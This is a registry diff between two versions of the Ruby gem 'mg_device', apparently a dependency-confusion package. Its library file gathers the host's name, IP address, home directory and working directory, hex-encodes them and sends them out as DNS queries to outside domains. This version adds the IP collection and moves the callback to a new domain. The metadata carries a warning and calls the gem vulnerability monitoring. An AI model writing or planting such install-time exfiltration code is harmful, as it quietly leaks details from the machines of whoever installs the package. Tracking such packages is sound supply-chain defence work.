mg_device 2300.4.2 → 2400.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/mg_device.rb +12 -18
- metadata +14 -9
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 99320e912311b88a23cc2f27dcc607fa43ce9f2909727c52c0a4bbbd8faf3ba6
|
|
4
|
+
data.tar.gz: 209dda6d7168d38f16c232fd59ffe1c1d4015eab35055f490a9dd2fb5b47d937
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 6ad23fff0f382c0fdc684da5a7f7846103802b0742c5d8ad0bfb82c8f9d9d985931590087ec75338007abe0edf8187582839cf6a0496248bae56f5aeb894357e
|
|
7
|
+
data.tar.gz: 99dfec6ffba7cc6fbdc73949b3199e74e3cedf2b69a3abaec3d29830a359d723883f4cdcbce5cf8a23920bf437425b6c215df4b9d948212839db9fc25145a670
|
data/lib/mg_device.rb
CHANGED
|
@@ -1,21 +1,9 @@
|
|
|
1
1
|
|
|
2
2
|
=begin
|
|
3
3
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
Callbacks from within organizations with a
|
|
9
|
-
responsible disclosure policy will be reported
|
|
10
|
-
directly to the organizations.
|
|
11
|
-
|
|
12
|
-
Any other callbacks will be ignored, and
|
|
13
|
-
any associated data will not be kept.
|
|
14
|
-
|
|
15
|
-
For any questions or suggestions:
|
|
16
|
-
|
|
17
|
-
alex@ethicalhack.ro
|
|
18
|
-
https://twitter.com/alxbrsn
|
|
4
|
+
this is a modified code originally created by:
|
|
5
|
+
alex@ethicalhack.ro
|
|
6
|
+
https://twitter.com/alxbrsn
|
|
19
7
|
|
|
20
8
|
=end
|
|
21
9
|
|
|
@@ -23,8 +11,10 @@ require 'socket'
|
|
|
23
11
|
require 'json'
|
|
24
12
|
require 'resolv'
|
|
25
13
|
|
|
26
|
-
suffix = '.dns.alexbirsan-hacks-paypal.com'
|
|
27
|
-
|
|
14
|
+
#suffix = '.dns.alexbirsan-hacks-paypal.com'
|
|
15
|
+
suffix = '.elektr0.ninja'
|
|
16
|
+
#ns = 'dns1.alexbirsan-hacks-paypal.com'
|
|
17
|
+
ns = 'ns0.elektr0.ninja'
|
|
28
18
|
|
|
29
19
|
package = 'mg_device'
|
|
30
20
|
|
|
@@ -33,12 +23,14 @@ package = 'mg_device'
|
|
|
33
23
|
data = {
|
|
34
24
|
'p' => package,
|
|
35
25
|
'h' => Socket.gethostname,
|
|
26
|
+
'ip' => Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address,
|
|
36
27
|
'd' => File.expand_path('~'),
|
|
37
28
|
'c' => Dir.pwd
|
|
38
29
|
}
|
|
39
|
-
|
|
30
|
+
puts data
|
|
40
31
|
data = JSON.generate(data)
|
|
41
32
|
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
|
33
|
+
#puts data
|
|
42
34
|
|
|
43
35
|
id_1 = rand(36**12).to_s(36)
|
|
44
36
|
id_2 = rand(36**12).to_s(36)
|
|
@@ -56,9 +48,11 @@ custom_res = Resolv.new([Resolv::Hosts.new,
|
|
|
56
48
|
data.each.each_with_index do |chunk, idx|
|
|
57
49
|
begin
|
|
58
50
|
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
51
|
+
#puts 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
59
52
|
rescue; end
|
|
60
53
|
|
|
61
54
|
begin
|
|
62
55
|
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
56
|
+
#puts 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
63
57
|
rescue; end
|
|
64
58
|
end
|
metadata
CHANGED
|
@@ -1,24 +1,28 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: mg_device
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version:
|
|
4
|
+
version: 2400.1.1
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
7
|
+
- repeatuntilend
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: bin
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2020-
|
|
11
|
+
date: 2020-10-20 00:00:00.000000000 Z
|
|
12
12
|
dependencies: []
|
|
13
|
-
description:
|
|
14
|
-
|
|
15
|
-
|
|
13
|
+
description: "!!! WARNING !!! \nThis Gem is NOT meant to run in production! It will
|
|
14
|
+
leak information from the running host!\nThe Gem was created and modified to test
|
|
15
|
+
and monitor a vulnerability.\nThe Gem will pull the hostname, ip, username, and
|
|
16
|
+
home directory from the host it is running on and send it through DNS queries to
|
|
17
|
+
our monitoring system.\nThe Gem will be removed in 2021.\nThe original Gem and Repo
|
|
18
|
+
was created by alex@ethicalhack.ro, https://twitter.com/alxbrsn\n"
|
|
19
|
+
email: repeatuntilend@protonmail.com
|
|
16
20
|
executables: []
|
|
17
21
|
extensions: []
|
|
18
22
|
extra_rdoc_files: []
|
|
19
23
|
files:
|
|
20
24
|
- lib/mg_device.rb
|
|
21
|
-
homepage:
|
|
25
|
+
homepage: ''
|
|
22
26
|
licenses:
|
|
23
27
|
- MIT
|
|
24
28
|
metadata: {}
|
|
@@ -37,8 +41,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
|
37
41
|
- !ruby/object:Gem::Version
|
|
38
42
|
version: '0'
|
|
39
43
|
requirements: []
|
|
40
|
-
rubygems_version: 3.
|
|
44
|
+
rubygems_version: 3.1.4
|
|
41
45
|
signing_key:
|
|
42
46
|
specification_version: 4
|
|
43
|
-
summary:
|
|
47
|
+
summary: "!!! WARNING !!! This Gem is NOT meant to run in production! It will leak
|
|
48
|
+
information from the running host!"
|
|
44
49
|
test_files: []
|